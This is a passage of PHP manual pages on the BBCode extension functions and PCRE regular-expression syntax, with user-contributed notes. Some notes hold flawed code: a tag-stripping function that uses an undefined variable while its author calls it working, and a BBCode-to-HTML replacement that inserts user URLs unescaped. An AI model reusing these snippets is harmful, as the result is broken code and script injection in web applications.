                    if (strpos($videourl['host'], 'youtube.com') !== FALSE) $replacement = '<embed src="http://www.youtube.com/v/' . $videoquery['v'] . '" type="application/x-shockwave-flash" width="425" height="344"></embed>';
                    if (strpos($videourl['host'], 'google.com') !== FALSE) $replacement = '<embed src="http://video.google.com/googleplayer.swf?docid=' . $videoquery['docid'] . '" width="400" height="326" type="application/x-shockwave-flash"></embed>';
                break;
            }
            $string = str_replace($match, $replacement, $string);
        }
        return $string;
    }
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (ramonvandam AT gmail DOT com) on 04-SEP-09 to address an improperly-defined parameter.  Also contains a bugfix provided by (pompei2 AT gmail DOT com) on 15-FEB-10 to address improperly-closed tags.  Plus, contains another bugfix provided by (angad AT wootify DOT com) on 18-JUL-2011 to fix an issue where unsupported tags provided to the function could cause the script to time out.]


Close BBCode_container resource

  • « bbcode_create
  • bbcode_parse »
  • PHP Manual
  • BBCode Functions
  • Close BBCode_container resource

bbcode_destroy

(PECL bbcode >= 0.9.0)

bbcode_destroy — Close BBCode_container resource

Description

bool bbcode_destroy ( resource $bbcode_container )

This function closes the resource opened by bbcode_create().

Parameters

bbcode_container

BBCode_Container resource returned by bbcode_create().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Parse a string following a given rule set

  • « bbcode_destroy
  • bbcode_set_arg_parser »
  • PHP Manual
  • BBCode Functions
  • Parse a string following a given rule set

bbcode_parse

(PECL bbcode >= 0.9.0)

bbcode_parse — Parse a string following a given rule set

Description

string bbcode_parse ( resource $bbcode_container , string $to_parse )

This function parse the string to_parse following the rules in the bbcode_container created by bbcode_create()

Parameters

bbcode_container

BBCode_Container resource returned by bbcode_create().

to_parse

The string we need to parse.

Return Values

Returns the parsed string, or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Attach another parser in order to use another rule set for argument parsing

  • « bbcode_parse
  • bbcode_set_flags »
  • PHP Manual
  • BBCode Functions
  • Attach another parser in order to use another rule set for argument parsing

bbcode_set_arg_parser

(PECL bbcode >= 0.10.2)

bbcode_set_arg_parser — Attach another parser in order to use another rule set for argument parsing

Description

bool bbcode_set_arg_parser ( resource $bbcode_container , resource $bbcode_arg_parser )

Attaches another parser to the bbcode_container. This parser is used only when arguments must be parsed. If this function is not used, the default argument parser is the parser itself.

Parameters

bbcode_container

BBCode_Container resource, returned by bbcode_create().

bbcode_arg_parser

BBCode_Container resource, returned by bbcode_create(). It will be used only for parsed arguments

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bbcode_set_arg_parser() usage example

<?php
/*
 * Generating bbcode ruleset for main parser
 */
$arrayBBCode=array(
    'quote'=>    array('type'=>BBCODE_TYPE_ARG,
                       'open_tag'=>'<quote><h4>Source: {PARAM}</h4>',
                       'close_tag'=>'</quote>',
                       'flags'=>BBCODE_FLAGS_REMOVE_IF_EMPTY|BBCODE_FLAGS_ARG_PARSING),
    'b'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<b>', 'close_tag'=>'</b>',
                       'flags'=>BBCODE_FLAGS_REMOVE_IF_EMPTY),
    'u'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<u>', 'close_tag'=>'</u>',
                       'flags'=>BBCODE_FLAGS_SMILEYS_OFF | BBCODE_FLAGS_REMOVE_IF_EMPTY | BBCODE_FLAGS_SMILEYS_OFF),
    'i'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<i>', 'close_tag'=>'</i>',
                       'flags'=>BBCODE_FLAGS_REMOVE_IF_EMPTY),
);
/*
 * Generating bbcode ruleset for argument parser
 */
$arrayBBCode_arg=array(
    'b'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<b class="sub">', 'close_tag'=>'</b>',
                       'flags'=>BBCODE_FLAGS_REMOVE_IF_EMPTY),
    'u'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<u>', 'close_tag'=>'</u>',
                       'flags'=>BBCODE_FLAGS_SMILEYS_OFF | BBCODE_FLAGS_REMOVE_IF_EMPTY | BBCODE_FLAGS_SMILEYS_OFF),
    'i'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<i>', 'close_tag'=>'</i>',
                       'flags'=>BBCODE_FLAGS_REMOVE_IF_EMPTY),
);
/*
 * Text we are going to parse
 */
$text=<<<EOF
[quote="[b]Test[/b]"]
Foo :)
[/quote]
[b]Bar example :)[/b] :)
EOF;
/*
 * Init the two parsers
 */
$BBHandler=bbcode_create($arrayBBCode);
$BBArgHandler=bbcode_create($arrayBBCode_arg);
/*
 * Setting Flags on the parsers
 */
bbcode_set_flags($BBHandler,
                 BBCODE_CORRECT_REOPEN_TAGS|BBCODE_DEFAULT_SMILEYS_ON|BBCODE_ARG_DOUBLE_QUOTE|
                 BBCODE_ARG_SINGLE_QUOTE|BBCODE_ARG_HTML_QUOTE,BBCODE_SET_FLAGS_SET);
bbcode_set_flags($BBArgHandler,
                 BBCODE_CORRECT_REOPEN_TAGS|BBCODE_DEFAULT_SMILEYS_ON|BBCODE_ARG_DOUBLE_QUOTE|
                 BBCODE_ARG_SINGLE_QUOTE|BBCODE_ARG_HTML_QUOTE,BBCODE_SET_FLAGS_SET);
/*
 * Setting $BBArgHandler as the BBHandler argument parser
 */
bbcode_set_arg_parser($BBHandler,$BBArgHandler);
/*
 * Adding Smileys handling rules to Main parser
 */
bbcode_add_smiley($BBHandler, ":)", "<img src=\"smiley.gif\" alt=\":)\" />");
/*
 * Use the main parser to parse text
 */
echo bbcode_parse($BBHandler,$text);
?>

The above example will output:

<quote><h4>Source: <b class="sub">Test</b></h4>
Foo <img src="smiley.gif" alt=":)" />
</quote>
<b>Bar example :)</b> <img src="smiley.gif" alt=":)" />

User Contributed Notes

There are no user contributed notes for this page.


Set or alter parser options

  • « bbcode_set_arg_parser
  • PCRE »
  • PHP Manual
  • BBCode Functions
  • Set or alter parser options

bbcode_set_flags

(PECL bbcode >= 0.10.2)

bbcode_set_flags — Set or alter parser options

Description

bool bbcode_set_flags ( resource $bbcode_container , int $flags [, int $mode = BBCODE_SET_FLAGS_SET ] )

Set or alter parser options

Parameters

bbcode_container

BBCode_Container resource, returned by bbcode_create().

flags

The flag set that must be applied to the bbcode_container options

mode

One of the BBCODE_SET_FLAGS_* constant to set, unset a specific flag set or to replace the flag set by flags.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 bbcode_set_flags() usage example

<?php
/*
 * Preparing RuleSet
 */
$arrayBBCode=array(
    'b'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<b>', 'close_tag'=>'</b>'),
    'u'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<u>', 'close_tag'=>'</u>'),
    'i'=>        array('type'=>BBCODE_TYPE_NOARG,
                       'open_tag'=>'<i>', 'close_tag'=>'</i>'),
);
/*
 * Paired incorrectly nested BBCode
 */
$text="[i] Parser [b] Auto Correction [/i] at work [/b]\n";
$BBHandler=bbcode_create($arrayBBCode);
echo bbcode_parse($BBHandler,$text);
// Enabling reopening of automatically closed elements
bbcode_set_flags($BBHandler,BBCODE_CORRECT_REOPEN_TAGS,
                 BBCODE_SET_FLAGS_SET);
echo bbcode_parse($BBHandler,$text);

/*
 * Unpaired incorrectly nested BBCode
 */
$text="[i] Parser [b] Auto Correction [/i] at work\n";
echo bbcode_parse($BBHandler,$text);
// Enabling automatic close of pending tags
bbcode_set_flags($BBHandler,
                 BBCODE_CORRECT_REOPEN_TAGS|BBCODE_AUTO_CORRECT,
                 BBCODE_SET_FLAGS_SET);
echo bbcode_parse($BBHandler,$text);
?>

The above example will output:

<i> Parser <b> Auto Correction </b></i> at work
<i> Parser <b> Auto Correction </b></i><b> at work </b>
<i> Parser [b] Auto Correction </i> at work
<i> Parser <b> Auto Correction </b></i><b> at work
</b>

User Contributed Notes

There are no user contributed notes for this page.


Regular Expressions (Perl-Compatible)

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • PCRE Patterns
    • PCRE regex syntax — Pattern Syntax
    • Possible modifiers in regex patterns — Pattern Modifiers
    • Differences From Perl — Perl Differences
    • Differences from POSIX regex
  • PCRE Functions
    • preg_filter — Perform a regular expression search and replace
    • preg_grep — Return array entries that match the pattern
    • preg_last_error — Returns the error code of the last PCRE regex execution
    • preg_match_all — Perform a global regular expression match
    • preg_match — Perform a regular expression match
    • preg_quote — Quote regular expression characters
    • preg_replace_callback — Perform a regular expression search and replace using a callback
    • preg_replace — Perform a regular expression search and replace
    • preg_split — Split string by a regular expression

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The syntax for patterns used in these functions closely resembles Perl. The expression must be enclosed in the delimiters, a forward slash (/), for example. Delimiters can be any non-alphanumeric, non-whitespace ASCII character except the backslash (\) and the null byte. If the delimiter character has to be used in the expression itself, it needs to be escaped by backslash. Since PHP 4.0.4, you can also use Perl-style (), {}, [], and <> matching delimiters. See Pattern Syntax for detailed explanation.

The ending delimiter may be followed by various modifiers that affect the matching. See Pattern Modifiers.

PHP also supports regular expressions using a POSIX-extended syntax using the POSIX-extended regex functions.

Note:

This extension maintains a global per-thread cache of compiled regular expressions (up to 4096).

Warning

You should be aware of some limitations of PCRE. Read » http://www.pcre.org/pcre.txt for more info.

The PCRE library is a set of functions that implement regular expression pattern matching using the same syntax and semantics as Perl 5, with just a few differences (see below). The current implementation corresponds to Perl 5.005.

User Contributed Notes

There are no user contributed notes for this page.


Installation

The PCRE extension is a core PHP extension, so it is always enabled. By default, this extension is compiled using the bundled PCRE library. Alternatively, an external PCRE library can be used by passing in the --with-pcre-regex=DIR configuration option where DIR is the location of PCRE's include and library files.

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

Note:

Before PHP 5.3.0, this extension could be disabled by passing in the --without-pcre-regex configuration option.

PCRE is an active project and as it changes so does the PHP functionality that relies upon it. It is possible that certain parts of the PHP documentation is outdated, in that it may not cover the newest features that PCRE provides. For a list of changes, see the » PCRE library changelog and also the following bundled PCRE history:

Upgrade history of the bundled PCRE library
PHP Version | Updated PCRE Version | Notes
5.5.10 | 8.34 |
5.5.0 / 5.4.14 / 5.3.24 | 8.32 |
5.4.9 / 5.3.19 | 8.31 |
5.3.7 | 8.12 |
5.3.6 | 8.11 |
5.3.4 | 8.10 |
5.3.3 | 8.02 |
5.3.2 | 8.00 |
5.3.0 | 7.9 |
5.2.7 | 7.8 |
5.2.6 | 7.6 |
5.2.5 | 7.3 |
5.2.4 | 7.2 |
5.2.2 | 7.0 |
5.2.0 | 6.7 |
5.1.0 | 6.2 |
5.0.5 | 5.0 |
5.0.0 | 4.5 |
4.4.7 | 7.7 |

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

PCRE Configuration Options
Name | Default | Changeable | Changelog
pcre.backtrack_limit | "1000000" | PHP_INI_ALL | Available since PHP 5.2.0.
pcre.recursion_limit | "100000" | PHP_INI_ALL | Available since PHP 5.2.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

pcre.backtrack_limit integer

PCRE's backtracking limit. Defaults to 100000 for PHP < 5.3.7.

pcre.recursion_limit integer

PCRE's recursion limit. Please note that if you set this value to a high number you may consume all the available process stack and eventually crash PHP (due to reaching the stack size limit imposed by the Operating System).

User Contributed Notes

php at richardneill dot org 14-Jan-2011 06:55
pcre.backtrack_limit defaults to 100k.  This is rather conservative.
It is limited by RAM size, not the ulimit on stack-size.

On a (2009-era) netbook, I can set pcre.backtrack_limit to 100 million, and the regex will happily process a 90 million character string in about 3 seconds. YMMV.
chris at ocproducts dot com 02-Jul-2010 04:42
pcre.backtrack_limit sets the maximum bind length PREG calls (e.g. preg_replace_callback) can make. However the actual maximum seems to be approximately half the value set here, possibly due to the character encoding that PCRE runs with internally.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

PREG constants
constant | description | since
PREG_PATTERN_ORDER | Orders results so that $matches[0] is an array of full pattern matches, $matches[1] is an array of strings matched by the first parenthesized subpattern, and so on. This flag is only used with preg_match_all(). |
PREG_SET_ORDER | Orders results so that $matches[0] is an array of first set of matches, $matches[1] is an array of second set of matches, and so on. This flag is only used with preg_match_all(). |
PREG_OFFSET_CAPTURE | See the description of PREG_SPLIT_OFFSET_CAPTURE. | 4.3.0
PREG_SPLIT_NO_EMPTY | This flag tells preg_split() to return only non-empty pieces. |
PREG_SPLIT_DELIM_CAPTURE | This flag tells preg_split() to capture parenthesized expression in the delimiter pattern as well. | 4.0.5
PREG_SPLIT_OFFSET_CAPTURE | If this flag is set, for every occurring match the appendant string offset will also be returned. Note that this changes the return values in an array where every element is an array consisting of the matched string at offset 0 and its string offset within subject at offset 1. This flag is only used for preg_split(). | 4.3.0
PREG_NO_ERROR | Returned by preg_last_error() if there were no errors. | 5.2.0
PREG_INTERNAL_ERROR | Returned by preg_last_error() if there was an internal PCRE error. | 5.2.0
PREG_BACKTRACK_LIMIT_ERROR | Returned by preg_last_error() if backtrack limit was exhausted. | 5.2.0
PREG_RECURSION_LIMIT_ERROR | Returned by preg_last_error() if recursion limit was exhausted. | 5.2.0
PREG_BAD_UTF8_ERROR | Returned by preg_last_error() if the last error was caused by malformed UTF-8 data (only when running a regex in UTF-8 mode). | 5.2.0
PREG_BAD_UTF8_OFFSET_ERROR | Returned by preg_last_error() if the offset didn't correspond to the begin of a valid UTF-8 code point (only when running a regex in UTF-8 mode). | 5.3.0
PCRE_VERSION | PCRE version and release date (e.g. "7.0 18-Dec-2006"). | 5.2.4

User Contributed Notes

There are no user contributed notes for this page.


Examples

Example #1 Examples of valid patterns

  • /<\/\w+>/
  • |(\d{3})-\d+|Sm
  • /^(?i)php[34]/
  • {^\s+(\s+)?$}

Example #2 Examples of invalid patterns

  • /href='(.*)' - missing ending delimiter
  • /\w+\s*\w+/J - unknown modifier 'J'
  • 1-\d3-\d3-\d4| - missing starting delimiter

User Contributed Notes

There are no user contributed notes for this page.


PCRE Patterns

Table of Contents

  • PCRE regex syntax
  • Possible modifiers in regex patterns
  • Differences From Perl
  • Differences from POSIX regex

User Contributed Notes

There are no user contributed notes for this page.


Pattern Syntax

Table of Contents

  • Introduction
  • Delimiters
  • Meta-characters
  • Escape sequences
  • Unicode character properties
  • Anchors
  • Dot
  • Character classes
  • Alternation
  • Internal option setting
  • Subpatterns
  • Repetition
  • Back references
  • Assertions
  • Once-only subpatterns
  • Conditional subpatterns
  • Comments
  • Recursive patterns
  • Performance

User Contributed Notes

mbrodin 24-Nov-2008 10:18
Hi!

For even better prestanda of the code below, use;

<?php
    $f = array();

    foreach($allTags[1] as $tag){
    $f[] = "%(<$tag.*?>)(.*?)(<\/$tag.*?>)%is";
    }

    if(sizeof($f)) $str = preg_replace($f, ($stripContent ? '' : '${2}'), $str);
?>

This will not use preg_replace on every tag, instead it collect the regex as array, and then executes and should be better.

It also check so there are any regex to replace! If not, it will not start preg_replace! :)

Added the "<?php" so it will highlight the code!
datacompboy at call2ru dot com 29-Oct-2007 07:24
For example, you want to cut an some <div> element.
Accurate, from <div> to correspond </div> element.
Here is proof-of-concept code to do this:

<?
$str = "<dqiv1>1+<div2>2+<div3><b><c>3</c></b></div3>2-</div2>1-</div1>";

preg_match("#<div.> ( ".
              " ( (?>[^<]*) ( < ( ([^/d]|d([^i]|i[^v])) | /([^d]|d([^i]|i[^v])) ) )? )* ".
           " | (?R) )* </div.>#xi", $str, $m);
var_dump($m[0]);

?>

it match accurate from <div2> to </div2>. And, if you change <dqiv1> to <div1>, it will match from <div1> to </div1>
chris at madblanks dot org 04-Jul-2007 09:22
When enclosing your regular expression in double quotes, back references require two backslashes.

For example, \1 is the ascii character \1. You need to provide \\1 to get the back reference.
sam marshall 24-May-2007 07:23
For anyone who sees this error:

Warning: preg_match() [function.preg-match]: Compilation failed: PCRE does not support \L, \l, \N, \P, \p, \U, \u, or \X at ...

As this manual page says, you need PHP 5.1.0 and the /u modifier in order to enable these features, but that isn't the only requirement! It is possible to install later versions of PHP (we have 5.1.4) while linking to an older PCRE install. A quick look at the PCRE changelog suggests that you probably need at least PCRE 5; we're running 4.5, while the latest is 7.1. You can find out your PCRE version by checking phpinfo().

I suspect this ancient PCRE version is included in some officially-supported Red Hat Enterprise package which is probably why we are running it so might also affect other people.
pstradomski at gmail dot com 29-Mar-2007 04:55
About strip_selected_tags function from two posts below:

it does not work if somebody uses tags without ending ">" character, like this:

<p <b> bold text </b</p

This  is even valid HTML (but not valid XHTML)
theppg_001 at hotmail dot com 20-Nov-2006 10:22
Hi there
This was originally made by someone eles but it didn't work correctly and so I remade it and as far as I know it works right.

<?php
/**
* strip_selected_tags ( string str [, string strip_tags[, strip_content flag]] )
* ---------------------------------------------------------------------
* Like strip_tags() but inverse; the strip_tags tags will be stripped, not kept.
* strip_tags: string with tags to strip, ex: "<a><p><quote>" etc.
* strip_content flag: TRUE will also strip everything between open and closed tag
*/
function strip_selected_tags($str, $tags = "", $stripContent = false)
{
    preg_match_all("/<([^>]+)>/i", $tags, $allTags, PREG_PATTERN_ORDER);
    $replace = "%(<$tag.*?>)(.*?)(<\/$tag.*?>)%is";
    foreach ($allTags[1] as $tag) {
        if ($stripContent) {
            $str = preg_replace($replace,'',$str);
        }
            $str = preg_replace($replace,'${2}',$str);
    }
    return $str;
}
?>

Before I 'fixed' it, when running
strip_selected_tags("this is <p align=\"center\">a test</p> and <b>this is bold</b>","<p><b>")
You would get back
"this is <p align=\"center\">a test</p> and this is bold"
Why? Because it did not take into account that there could be options etc in the HTML Tag.
My one works perfectly when stripping just the tags or the tag and its contents too!

So now when you run
strip_selected_tags("this is <p align=\"center\">a test</p> and <b>this is bold</b>","<p><b>")
You get back
"this is a test and this is bold"
Or when running
strip_selected_tags("this is <p align=\"center\">a test</p> and <b>this is bold</b>","<p><b>",true)
You get back
"this is  and "

Hope it helps someone :)
Daniel Vandersluis 23-Nov-2005 07:50
Concerning note #6 in "Differences From Perl", the \G token *is* supported as the last match position anchor. This has been confirmed to work at least in preg_replace(), though I'd assume it'd work in preg_match_all(), and other functions that can make more than one match, as well.
roland dot illig at gmx dot de 08-Nov-2005 10:02
<quote>
9. Another as yet unresolved discrepancy is that in Perl 5.005_02 the pattern /^(a)?(?(1)a|b)+$/ matches the string "a", whereas in PCRE it does not. However, in both Perl and PCRE /^(a)?a/ matched against "a" leaves $1 unset.
</quote>

The last sentence does not indicate a bug. If the string "a" should match against the regular expression /^(a)?a/, the last "a" in the regex must be matched by any literal "a" in the string. The rest of the string is "", which obviously does not match the first /^(a)/.
Ned Baldessin 16-Jul-2005 01:14
Although \w and \W do include as "word characters" locale-specific characters (like "é" if you are using the "fr" locale), \b and \B do not work the same way.

For example :
"foo était bar"   =>   /\W(était)\W/   =>   This captures correctly "était".
"foo était bar"   =>   /\b(était)\b/   =>   This fails to capture it.

This is confusing, because the manual talks in both cases about "word characters", but fails to mention the difference in behaviour.
onerob at gmail dot com 02-Apr-2005 01:51
If, like me, you tend to use the /U pattern modifier, then you will need to remember that using ? or * to to test for optional characters will match zero characters if it means that the rest of the pattern can continue matching, even if the optional characters exist.

For instance, if we have this string:

a___bcde

and apply this pattern:

'/a(_*).*e/U'

The whole pattern is matched but none of the _ characters are placed in the sub-pattern. The way around this (if you still wish to use /U) is to use the ? greediness inverter. eg,

'/a(_*?).*e/U'
W W W 07-Mar-2005 04:22
Back references are a great way to achieve exact matching when it would have been impossible any other way. Take these three strings.

1) "www.www.com"
2) 'www.www.com'
3) "www.www.com'

The regex /^("|').+?("|')$/ would match all three strings but what if you needed the 3rd string above to be illegal because the quotes are not the same? You could write four different regexes to check for every possible case OR you could use back references.

/^("|').+?\1$/ will match strings 1 and 2 but not string 3. Try this code for further proof:

$str_test="'www.www.com\"";
$int_count=preg_match("/^(\"|').+?\\1$/", $str_test, $matches, PREG_OFFSET_CAPTURE);

The preg_match function will not match against $str_test because the quotes are mismatched. If you change $str_test to

$str_test = "'www.www.com'";

the preg_match will work.
info at atjeff dot co dot nz 08-Feb-2005 01:46
ive never used regex expressions till now and had loads of difficulty trying to convert a [url]link here[/url] into an href for use with posting messages on a forum, heres what i manage to come up with:

$patterns = array(
            "/\[link\](.*?)\[\/link\]/",
            "/\[url\](.*?)\[\/url\]/",
            "/\[img\](.*?)\[\/img\]/",
            "/\[b\](.*?)\[\/b\]/",
            "/\[u\](.*?)\[\/u\]/",
            "/\[i\](.*?)\[\/i\]/"
        );
        $replacements = array(
            "<a href=\"\\1\">\\1</a>",
            "<a href=\"\\1\">\\1</a>",
            "<img src=\"\\1\">",
            "<b>\\1</b>",
            "<u>\\1</u>",
            "<i>\\1</i>"

        );
        $newText = preg_replace($patterns,$replacements, $text);

at first it would collect ALL the tags into one link/bold/whatever, until i added the "?" i still dont fully understand it... but it works :)
J Daugherty 09-Dec-2004 06:06
In the character class meta-character documentation above, the circumflex (^) is described:

"^   negate the class, but only if the first character"

It should be a little more verbose to fully express the meaning of ^:

^    Negate the character class.  If used, this must be the first character of the class (e.g. "[^012]").
napalm at spiderfish dot net 17-Mar-2004 05:14
Pay attention that some pcre features such as once-only or recursive patterns are not implemented in php versions prior to 5.00

Napalm


Introduction

The syntax and semantics of the regular expressions supported by PCRE are described below. Regular expressions are also described in the Perl documentation and in a number of other books, some of which have copious examples. Jeffrey Friedl's "Mastering Regular Expressions", published by O'Reilly (ISBN 1-56592-257-3), covers them in great detail. The description here is intended as reference documentation.

A regular expression is a pattern that is matched against a subject string from left to right. Most characters stand for themselves in a pattern, and match the corresponding characters in the subject. As a trivial example, the pattern The quick brown fox matches a portion of a subject string that is identical to itself.

User Contributed Notes

There are no user contributed notes for this page.


Delimiters

When using the PCRE functions, it is required that the pattern is enclosed by delimiters. A delimiter can be any non-alphanumeric, non-backslash, non-whitespace character.

Often used delimiters are forward slashes (/), hash signs (#) and tildes (~). The following are all examples of valid delimited patterns.

/foo bar/
#^[^0-9]$#
+php+
%[a-zA-Z0-9_-]%

It is also possible to use bracket style delimiters where the opening and closing brackets are the starting and ending delimiter, respectively. (), {}, [] and <> are all valid bracket style delimiter pairs.

(this [is] a (pattern))
{this [is] a (pattern)}
[this [is] a (pattern)]
<this [is] a (pattern)>
Bracket style delimiters do not need to be escaped when they are used as meta characters within the pattern, but as with other delimiters they must be escaped when they are used as literal characters.

If the delimiter needs to be matched inside the pattern it must be escaped using a backslash. If the delimiter appears often inside the pattern, it is a good idea to choose another delimiter in order to increase readability.

/http:\/\//
#http://#
The preg_quote() function may be used to escape a string for injection into a pattern and its optional second parameter may be used to specify the delimiter to be escaped.

You may add pattern modifiers after the ending delimiter. The following is an example of case-insensitive matching:

#[a-z]#i

User Contributed Notes

There are no user contributed notes for this page.


Meta-characters

The power of regular expressions comes from the ability to include alternatives and repetitions in the pattern. These are encoded in the pattern by the use of meta-characters, which do not stand for themselves but instead are interpreted in some special way.

There are two different sets of meta-characters: those that are recognized anywhere in the pattern except within square brackets, and those that are recognized in square brackets. Outside square brackets, the meta-characters are as follows:

Meta-characters outside square brackets
Meta-character | Description
\ | general escape character with several uses
^ | assert start of subject (or line, in multiline mode)
$ | assert end of subject or before a terminating newline (or end of line, in multiline mode)
. | match any character except newline (by default)
[ | start character class definition
] | end character class definition
| | start of alternative branch
( | start subpattern
) | end subpattern
? | extends the meaning of (, also 0 or 1 quantifier, also makes greedy quantifiers lazy (see repetition)
* | 0 or more quantifier
+ | 1 or more quantifier
{ | start min/max quantifier
} | end min/max quantifier
Part of a pattern that is in square brackets is called a character class. In a character class the only meta-characters are:
Meta-characters inside square brackets (character classes)
Meta-character | Description
\ | general escape character
^ | negate the class, but only if the first character
- | indicates character range
The following sections describe the use of each of the meta-characters.

User Contributed Notes

There are no user contributed notes for this page.


Escape sequences

The backslash character has several uses. Firstly, if it is followed by a non-alphanumeric character, it takes away any special meaning that character may have. This use of backslash as an escape character applies both inside and outside character classes.

For example, if you want to match a "*" character, you write "\*" in the pattern. This applies whether or not the following character would otherwise be interpreted as a meta-character, so it is always safe to precede a non-alphanumeric with "\" to specify that it stands for itself. In particular, if you want to match a backslash, you write "\\".

Note:

Single and double quoted PHP strings have special meaning of backslash. Thus if \ has to be matched with a regular expression \\, then "\\\\" or '\\\\' must be used in PHP code.

If a pattern is compiled with the PCRE_EXTENDED option, whitespace in the pattern (other than in a character class) and characters between a "#" outside a character class and the next newline character are ignored. An escaping backslash can be used to include a whitespace or "#" character as part of the pattern.

A second use of backslash provides a way of encoding non-printing characters in patterns in a visible manner. There is no restriction on the appearance of non-printing characters, apart from the binary zero that terminates a pattern, but when a pattern is being prepared by text editing, it is usually easier to use one of the following escape sequences than the binary character it represents:

\a
alarm, that is, the BEL character (hex 07)
\cx
"control-x", where x is any character
\e
escape (hex 1B)
\f
formfeed (hex 0C)
\n
newline (hex 0A)
\p{xx}
a character with the xx property, see unicode properties for more info
\P{xx}
a character without the xx property, see unicode properties for more info
\r
carriage return (hex 0D)
\t
tab (hex 09)
\xhh
character with hex code hh
\ddd
character with octal code ddd, or backreference

The precise effect of "\cx" is as follows: if "x" is a lower case letter, it is converted to upper case. Then bit 6 of the character (hex 40) is inverted. Thus "\cz" becomes hex 1A, but "\c{" becomes hex 3B, while "\c;" becomes hex 7B.

After "\x", up to two hexadecimal digits are read (letters can be in upper or lower case). In UTF-8 mode, "\x{...}" is allowed, where the contents of the braces is a string of hexadecimal digits. It is interpreted as a UTF-8 character whose code number is the given hexadecimal number. The original hexadecimal escape sequence, \xhh, matches a two-byte UTF-8 character if the value is greater than 127.

After "\0" up to two further octal digits are read. In both cases, if there are fewer than two digits, just those that are present are used. Thus the sequence "\0\x\07" specifies two binary zeros followed by a BEL character. Make sure you supply two digits after the initial zero if the character that follows is itself an octal digit.

The handling of a backslash followed by a digit other than 0 is complicated. Outside a character class, PCRE reads it and any following digits as a decimal number. If the number is less than 10, or if there have been at least that many previous capturing left parentheses in the expression, the entire sequence is taken as a back reference. A description of how this works is given later, following the discussion of parenthesized subpatterns.

Inside a character class, or if the decimal number is greater than 9 and there have not been that many capturing subpatterns, PCRE re-reads up to three octal digits following the backslash, and generates a single byte from the least significant 8 bits of the value. Any subsequent digits stand for themselves. For example:

\040
is another way of writing a space
\40
is the same, provided there are fewer than 40 previous capturing subpatterns
\7
is always a back reference
\11
might be a back reference, or another way of writing a tab
\011
is always a tab
\0113
is a tab followed by the character "3"
\113
is the character with octal code 113 (since there can be no more than 99 back references)
\377
is a byte consisting entirely of 1 bits
\81
is either a back reference, or a binary zero followed by the two characters "8" and "1"

Note that octal values of 100 or greater must not be introduced by a leading zero, because no more than three octal digits are ever read.

All the sequences that define a single byte value can be used both inside and outside character classes. In addition, inside a character class, the sequence "\b" is interpreted as the backspace character (hex 08). Outside a character class it has a different meaning (see below).

The third use of backslash is for specifying generic character types:

\d
any decimal digit
\D
any character that is not a decimal digit
\h
any horizontal whitespace character (since PHP 5.2.4)
\H
any character that is not a horizontal whitespace character (since PHP 5.2.4)
\s
any whitespace character
\S
any character that is not a whitespace character
\v
any vertical whitespace character (since PHP 5.2.4)
\V
any character that is not a vertical whitespace character (since PHP 5.2.4)
\w
any "word" character
\W
any "non-word" character

Each pair of escape sequences partitions the complete set of characters into two disjoint sets. Any given character matches one, and only one, of each pair.

A "word" character is any letter or digit or the underscore character, that is, any character which can be part of a Perl "word". The definition of letters and digits is controlled by PCRE's character tables, and may vary if locale-specific matching is taking place. For example, in the "fr" (French) locale, some character codes greater than 128 are used for accented letters, and these are matched by \w.

These character type sequences can appear both inside and outside character classes. They each match one character of the appropriate type. If the current matching point is at the end of the subject string, all of them fail, since there is no character to match.

The fourth use of backslash is for certain simple assertions. An assertion specifies a condition that has to be met at a particular point in a match, without consuming any characters from the subject string. The use of subpatterns for more complicated assertions is described below. The backslashed assertions are

\b
word boundary
\B
not a word boundary
\A
start of subject (independent of multiline mode)
\Z
end of subject or newline at end (independent of multiline mode)
\z
end of subject (independent of multiline mode)
\G
first matching position in subject

These assertions may not appear in character classes (but note that "\b" has a different meaning, namely the backspace character, inside a character class).

A word boundary is a position in the subject string where the current character and the previous character do not both match \w or \W (i.e. one matches \w and the other matches \W), or the start or end of the string if the first or last character matches \w, respectively.

The \A, \Z, and \z assertions differ from the traditional circumflex and dollar (described below) in that they only ever match at the very start and end of the subject string, whatever options are set. They are not affected by the PCRE_MULTILINE or PCRE_DOLLAR_ENDONLY options. The difference between \Z and \z is that \Z matches before a newline that is the last character of the string as well as at the end of the string, whereas \z matches only at the end.

The \G assertion is true only when the current matching position is at the start point of the match, as specified by the offset argument of preg_match(). It differs from \A when the value of offset is non-zero.

\Q and \E can be used to ignore regexp metacharacters in the pattern. For example: \w+\Q.$.\E$ will match one or more word characters, followed by literals .$. and anchored at the end of the string.

\K can be used to reset the match start since PHP 5.2.4. For example, the pattern foo\Kbar matches "foobar", but reports that it has matched "bar". The use of \K does not interfere with the setting of captured substrings. For example, when the pattern (foo)\Kbar matches "foobar", the first substring is still set to "foo".

User Contributed Notes

info at maisuma dot jp 17-Jun-2014 01:47
You can use Unicode character escape sequences (tested on PHP 5.3.3 & PCRE 7.8).

<?php
//This source is supposed to be written in UTF-8.
$a='€';
var_dump(preg_match('/\\x{20ac}/u',$a)); //Match!
bluemoehre at gmx dot de 14-Jan-2014 09:06
Using \R in character classes is NOT possible:

var_dump( preg_match('#\R+#',"\n") ); -> int(1)
var_dump( preg_match('#[\R]+#',"\n") ); -> int(0)
collons at ya dot com 05-Oct-2013 01:06
